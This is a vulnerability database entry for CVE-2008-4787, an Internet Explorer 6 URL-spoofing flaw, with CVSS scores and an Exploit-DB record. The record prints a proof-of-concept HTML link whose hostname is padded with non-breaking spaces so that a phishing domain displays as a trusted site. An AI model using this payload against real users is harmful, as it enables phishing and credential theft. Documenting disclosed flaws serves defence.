CVE-2008-4787 : Detail

CVE-2008-4787

30.46%V4
Network
2008-10-29
14h00 +00:00
2018-10-11
17h57 +00:00
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CVE Descriptions

Visual truncation vulnerability in Microsoft Internet Explorer 6 allows remote attackers to spoof the address bar via a URL with a hostname containing many   (Non-Blocking Space character) sequences, which are rendered as whitespace, aka MSRC ticket MSRC7899, a related issue to CVE-2003-1025.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.8 AV:N/AC:M/Au:N/C:N/I:P/A:P nvd@nist.gov

EPSS

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EPSS Score

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Exploit information

Exploit Database EDB-ID : 32539

Publication date : 2008-10-26 23h00 +00:00
Author : Amit Klein
EDB Verified : Yes

source: https://www.securityfocus.com/bid/31960/info Internet Explorer is affected by a URI-spoofing vulnerability because it fails to adequately handle specific combinations of the non-breaking space character ('&NBSP;'). An attacker may leverage this issue to spoof the source URI of a site presented to an unsuspecting user. This may lead to a false sense of trust because the user may be presented with a source URI of a trusted site while interacting with the attacker's malicious site. Internet Explorer 6 is affected by this issue. <a href="http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n <http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n/> bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">Example</a> (In words, this is <a href="http://www.example.com <http://www.example.com/> followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13 ampersand-NBSP-semicolon followed by a dot followed by phish.site/">Example</a>) This causes a link whose URL appears, IN THE ADDRESS BAR, as (may wrap around): http://www.example.com . . .phish.site/ (In words, this appears like "http://www.example.com" <http://www.example.com%22/> ; followed by 30 spaces, a dot, 31 spaces, a dot, 13 spaces, a dot and finally "phish.site/")

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

References

http://www.securityfocus.com/bid/31960
Tags : vdb-entry, x_refsource_BID
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